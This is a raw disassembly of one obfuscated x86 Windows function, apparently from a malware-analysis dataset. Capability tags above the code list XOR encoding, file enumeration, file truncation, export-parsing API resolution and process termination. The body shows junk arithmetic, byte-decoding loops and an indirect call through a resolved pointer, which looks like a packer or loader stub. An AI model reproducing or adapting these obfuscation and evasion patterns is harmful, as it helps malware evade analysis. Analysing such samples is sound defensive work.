Function at 0x418fa0
Capabilities:
Clear file content
Encode data using xor
Enumerate files on windows
Get common file path
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x24]
mov dword [0x847c08], eax
push ebx
mov dword [esp + 0x28], 0xbb7
push ebp
mov dword [esp + 0xc], 0xe95
xor ebp, ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 8], 0x9c0
mov dword [esp + 0x14], 0xa69
mov dword [esp + 0x10], 0xe95
push esi
mov dword [esp + 0x20], 0x13dc
mov eax, dword [esp + 0x14]
push edi
xor eax, 0xce
mov edi, 0x847ad0
push 1
pop edx
cmp dword [esp + 0x1c], eax
je 0x41954c
mov eax, dword [esp + 0x10]
xor eax, 0x755
cmp dword [esp + 0x1c], eax
jge 0x41954c
mov eax, dword [esp + 0x10]
add eax, 0xa1c
push 3
pop ebx
cmp dword [esp + 0x14], eax
jg 0x419136
add dword [esp + 0x14], 0x80b
mov eax, dword [0x83a354]
push 0x11
pop ecx
mov dword [eax + 8], 6
mov eax, dword [0x83a354]
mov dword [0x847ae4], ebp
mov dword [0x847af0], edx
mov dword [0x847b00], edx
mov dword [eax + 0x40], edx
mov eax, dword [0x83a354]
mov dword [0x847b20], 0x13
mov dword [0x847b24], edx
mov dword [0x847b2c], ebp
mov dword [eax + 0x64], 0x20
mov eax, dword [0x83a354]
mov dword [0x847b38], ebx
mov dword [eax + 0x6c], ebp
mov eax, dword [0x83a354]
mov dword [eax + 0x74], edx
mov eax, dword [0x83a354]
mov dword [0x847b48], edx
mov dword [0x847b5c], 0x49
mov dword [0x847b64], ebp
mov dword [eax + 0x9c], edx
mov eax, dword [0x83a354]
mov dword [0x847b88], edx
mov dword [0x847b94], ebp
mov dword [0x847b98], ecx
mov dword [eax + 0xd8], ebp
mov eax, dword [0x83a354]
mov dword [0x847bb8], edx
mov dword [0x847bc8], ebp
mov dword [0x847bd4], 0xa
mov dword [0x847bdc], ecx
mov dword [0x847be0], edx
mov dword [eax + 0x118], ebp
mov eax, dword [0x83a354]
mov dword [0x847bf8], ebp
mov dword [eax + 0x140], ebx
mov eax, dword [0x83a354]
mov dword [eax + 0x14c], 0xe
add dword [esp + 0x10], 0x4d5
xor dword [esp + 0x34], 0x1e1a
add dword [esp + 0x20], 0x95b
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x1c], eax
xor dword [esp + 0x20], 0x6fe
mov eax, dword [0x847b94]
xor eax, 0x92cbc
imul eax, dword [0x847b10]
mov dword [0x847b10], eax
add dword [esp + 0x34], 0x5e
mov eax, dword [esp + 0x1c]
add eax, 0xaec
cmp dword [esp + 0x18], eax
jg 0x41954c
mov eax, dword [esp + 0x20]
xor eax, 0x1f5d
cmp dword [esp + 0x14], eax
jle 0x4193d4
sub dword [0x847b3c], 0x2da1d
add dword [esp + 0x34], 0x95
add dword [esp + 0x34], 0xffffff6b
mov esi, dword [esp + 0x14]
mov edx, dword [esp + 0x24]
sub esi, 0x692
mov ecx, dword [esp + 0x24]
xor edx, 0x5d7
mov eax, dword [esp + 0x1c]
sub ecx, 0xa1c
xor eax, 0x4fc
push eax
push edi
push ecx
push edx
push esi
call fcn.00418230
mov dword [esp + 0x48], eax
xor dword [esp + 0x34], 0x1c79
add dword [esp + 0x2c], 0x597
mov ebx, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
add ebx, 0x110
mov esi, dword [esp + 0x2c]
xor edi, 0xab
mov ecx, dword [esp + 0x38]
sub esi, 0x806
mov eax, dword [esp + 0x24]
sub ecx, 0x7b6
mov edx, dword [0x83a354]
sub eax, 0x26f
push eax
push ecx
push edx
push esi
push edi
push ebx
call fcn.0041a9f2
mov dword [esp + 0x40], eax
add esp, 0x2c
xor dword [esp + 0x34], 0x18fb
mov edi, ebp
add dword [esp + 0x10], 0x110
add dword [esp + 0x34], 0xfffff682
mov eax, dword [0x847b78]
mov ecx, dword [0x83a354]
push 3
mov edx, dword [edi + eax]
add edi, 4
imul edx, dword [0x847b50]
mov dword [0x847b10], 0x92cbc
mov eax, dword [ecx + 0xc4]
add dword [ecx + 0x50], eax
mov eax, dword [0x83a354]
mov ecx, dword [eax + 0xac]
mov eax, dword [0x847b60]
mov byte [eax + ecx], dl
mov eax, 0xf9297
sub eax, dword [0x847bc8]
add dword [0x847c1c], eax
mov eax, dword [0x847b24]
sub eax, dword [0x847be0]
mov ecx, dword [0x83a354]
xor eax, 0x3adfd
add dword [0x847b34], eax
mov eax, dword [0x847c10]
inc dword [0x847b60]
add eax, 0xfffffffd
xor dword [ecx + 0x40], eax
mov esi, dword [0x847be0]
mov edx, dword [0x83a354]
pop eax
sub eax, dword [0x847c10]
add esi, eax
mov dword [0x847be0], esi
mov eax, dword [edx + 0x30]
xor eax, dword [0x847b64]
add eax, 0x68712
or dword [0x847b00], eax
mov eax, dword [0x847b20]
add eax, 0xfffffff6
add eax, dword [edx + 0x104]
mov dword [0x847b20], eax
mov eax, dword [0x847bb8]
add eax, 0xfffc98ca
xor dword [0x847b44], eax
mov eax, dword [0x847c1c]
add eax, 0x2da0f
add eax, dword [0x847b3c]
or dword [0x847af0], eax
mov eax, dword [0x847b94]
dec eax
add eax, esi
or dword [edx + 0x14], eax
cmp edi, 0x2986e0
jl 0x419249
add dword [esp + 0x20], 0xfffffa7f
add dword [esp + 0x18], 0x129
cmp dword [0x847b2c], 0x9e40
jae 0x419377
mov eax, dword [0x847bf8]
add eax, dword [0x847b64]
xor eax, 0xfff20487
mov dword [0x847b50], eax
mov ebx, dword [esp + 0x14]
mov edi, dword [esp + 0x14]
sub ebx, 0x60e
mov esi, dword [esp + 0x14]
sub edi, 0x38d
mov edx, dword [esp + 0x1c]
sub esi, 0x87
mov ecx, dword [esp + 0x10]
add edx, 0x494
mov eax, dword [esp + 0x34]
sub ecx, 0x14a
push dword [0x83a354]
xor eax, 0x1b29
push eax
push ecx
push edx
push esi
push edi
push ebx
call fcn.00401370
add esp, 0x1c
mov dword [esp + 0x24], eax
mov edi, 0x847ad0
jmp 0x419549
mov eax, dword [esp + 0x14]
sub eax, dword [esp + 0x14]
cmp dword [0x847b24], eax
jne 0x4194ea
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x34]
mov eax, dword [0x83a354]
or ecx, dword [0x847b5c]
mov edx, dword [esp + 0x18]
xor dword [eax + 0x9c], ecx
mov eax, dword [0x83a354]
imul edx, dword [0x847c10]
mov esi, dword [eax + 8]
mov eax, dword [0x83a354]
or esi, dword [0x847ae0]
xor edx, 0x100e
mov ecx, dword [eax + 0x6c]
mov eax, dword [0x847b30]
and ecx, 0x13f0
or eax, dword [0x847ba8]
or eax, dword [0x847b5c]
push eax
push ecx
push edx
push edi
push esi
call fcn.00401637
mov dword [esp + 0x30], eax
add esp, 0x14
mov eax, dword [0x83a354]
mov ecx, dword [esp + 0x14]
or ecx, dword [0x847b48]
imul eax, dword [eax + 0x14], 0xbb7
mov dword [0x847b84], eax
mov eax, dword [0x847b94]
or eax, 0x142c
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
add esi, 0xd22
mov eax, dword [0x83a354]
add edx, 0xa69
or edx, 0xc26
mov ecx, dword [eax + 0x70]
mov eax, dword [0x847b2c]
or ecx, dword [0x847b44]
xor eax, 0x12ab
push eax
push ecx
push edx
push edi
push esi
call fcn.00401637
mov ecx, dword [0x847ad8]
add esp, 0x14
and ecx, dword [0x847be0]
mov dword [esp + 0x1c], eax
and ecx, 0x95b
imul eax, dword [esp + 0x34], 0x142c
and eax, dword [0x847ba8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x83a354]
imul eax, dword [eax + 0xcc], 0x10f8
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov eax, dword [0x847b88]
sub eax, dword [0x847c10]
sub eax, 0x1555
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [esp + 0x24]
xor edx, dword [esp + 0x18]
mov eax, dword [0x83a354]
mov ecx, dword [eax + 0x14c]
sub ecx, dword [eax + 0x64]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ecx, dword [esp + 0x18]
or ecx, dword [0x847b00]
mov eax, dword [esp + 0x1c]
or eax, ecx
or dword [esp + 0x10], eax
xor edx, edx
inc edx
mov eax, dword [esp + 0x1c]
add eax, 0xba2
cmp dword [esp + 0x10], eax
je 0x41987c
mov eax, dword [esp + 0x10]
xor eax, 0x5cc
cmp dword [esp + 0x24], eax
je 0x41980c
mov esi, ebp
mov eax, dword [0x847b78]
mov ecx, dword [0x847b60]
push 1
mov ebx, dword [esi + eax]
add esi, 4
imul ebx, dword [0x847b50]
mov eax, dword [0x847c1c]
xor eax, dword [0x847b44]
xor eax, edx
mov dword [0x847c1c], eax
mov eax, dword [0x847b7c]
mov edx, ebx
shr edx, 8
mov byte [eax + ecx], dl
mov eax, dword [0x847be8]
mov ecx, dword [0x847b60]
add eax, 0xfffe7e29
xor dword [0x847b24], eax
inc ecx
mov eax, dword [0x847b7c]
mov dword [0x847b60], ecx
pop edx
mov byte [eax + ecx], bl
mov eax, dword [0x847ad8]
sub eax, dword [0x847c1c]
mov ecx, dword [0x83a354]
sub eax, 0xdb9a1
inc dword [0x847b60]
or dword [ecx + 0x10c], eax
mov eax, dword [0x847b3c]
mov ecx, dword [0x847b88]
add eax, 0x2da1d
xor dword [0x847be8], eax
add ecx, 0xfff24651
mov eax, dword [0x847ad8]
add eax, ecx
mov ecx, dword [0x83a354]
mov dword [0x847b88], eax
mov eax, dword [0x847b38]
add eax, 0xfffffffd
xor dword [0x847b44], eax
mov eax, dword [ecx + 0xf8]
sub eax, 0xf9297
add dword [ecx + 0x14c], eax
mov eax, dword [0x847b34]
sub eax, dword [0x847c10]
sub eax, 0x3adc0fc
imul eax, dword [0x847b48]
mov dword [0x847b48], eax
mov eax, dword [0x847b24]
xor eax, 0x3adfe
sub dword [0x847bc8], eax
cmp esi, 0xd338
jl 0x419574
add dword [esp + 0x18], 0xb6
mov dword [0x847c00], edi
add dword [esp + 0x1c], 0xb44
add dword [esp + 0x10], 0x69
add dword [esp + 0x10], 0xfffffa5b
mov ecx, dword [0x83a354]
mov eax, dword [0x847be0]
imul eax, eax
mov dword [0x847be0], eax
mov eax, dword [0x847bc8]
sub eax, dword [0x847bd4]
sub eax, 0xf928c
imul eax, dword [ecx + 0x94]
mov dword [ecx + 0x94], eax
mov ecx, dword [0x83a354]
mov eax, dword [ecx + 0x74]
xor eax, dword [0x847bb8]
sub eax, 0x36737
xor dword [ecx + 0xf8], eax
mov eax, dword [0x847b90]
mov ecx, dword [eax + ebp]
mov eax, dword [0x83a354]
xor ecx, dword [0x847b70]
mov eax, dword [eax + 0xc0]
mov dword [eax + ebp], ecx
add ebp, 4
mov edx, dword [0x83a354]
mov eax, dword [0x847b94]
add eax, 0xfc523f00
add eax, dword [edx + 0x64]
mov dword [0x847b94], eax
mov eax, dword [0x847b98]
xor eax, dword [0x847b3c]
xor eax, 0xfffd25f2
sub dword [edx + 0x14c], eax
mov ecx, dword [0x83a354]
mov eax, dword [ecx + 0x40]
xor eax, dword [0x847af0]
xor eax, 0x92cbc
mov dword [0x847af0], eax
mov eax, dword [0x847ba0]
add dword [0x847b70], eax
cmp ebp, 0x1794dc
jl 0x4196a3
add dword [esp + 0x24], 0x581
add dword [esp + 0x18], 0xfffff850
add dword [esp + 0x20], 0x14a
add dword [esp + 0x14], 0x2d9
add dword [esp + 0x14], 0xffffff4a
mov ecx, dword [0x83a354]
mov edx, dword [0x847b74]
mov eax, dword [ecx + 0x50]
cmp eax, dword [ecx + 0xf8]
cmovbe edx, dword [0x847b90]
mov dword [0x847b74], edx
add dword [esp + 0x1c], 0xfffffe43
add dword [esp + 0x20], 0x44b
cmp dword [0x847b94], 0x2c75
jb 0x4197db
mov eax, dword [0x83a354]
or dword [eax + 0x50], 0x216af
jmp 0x41987c
push dword [0x847c08]
mov eax, dword [0x847c04]
add eax, dword [0x847b7c]
push eax
mov eax, dword [0x83a354]
push dword [eax + 0x130]
call dword [0x847b74]
mov ecx, dword [0x83a354]
mov dword [ecx + 0x11c], eax
jmp 0x41987c
mov eax, dword [esp + 0x10]
or eax, dword [0x847bbc]
cmp dword [0x847c1c], eax
ja 0x41987c
mov eax, dword [esp + 0x34]
and eax, 0xe95
cmp dword [esp + 0x34], eax
je 0x41987c
mov eax, dword [esp + 0x24]
or eax, dword [esp + 0x18]
add dword [0x847b94], eax
push 0x257b
push 0x3597
call fcn.00418737
mov edx, dword [0x847b44]
imul edx, dword [0x847bdc]
pop ecx
pop ecx
mov ecx, dword [esp + 0x34]
mov dword [0x848454], eax
or ecx, 0xe5b
mov eax, dword [esp + 0x24]
xor edx, 0x160b
sub ecx, eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push dword [0x847bec]
call dword [sym.imp.KERNEL32.dll_ExitProcess]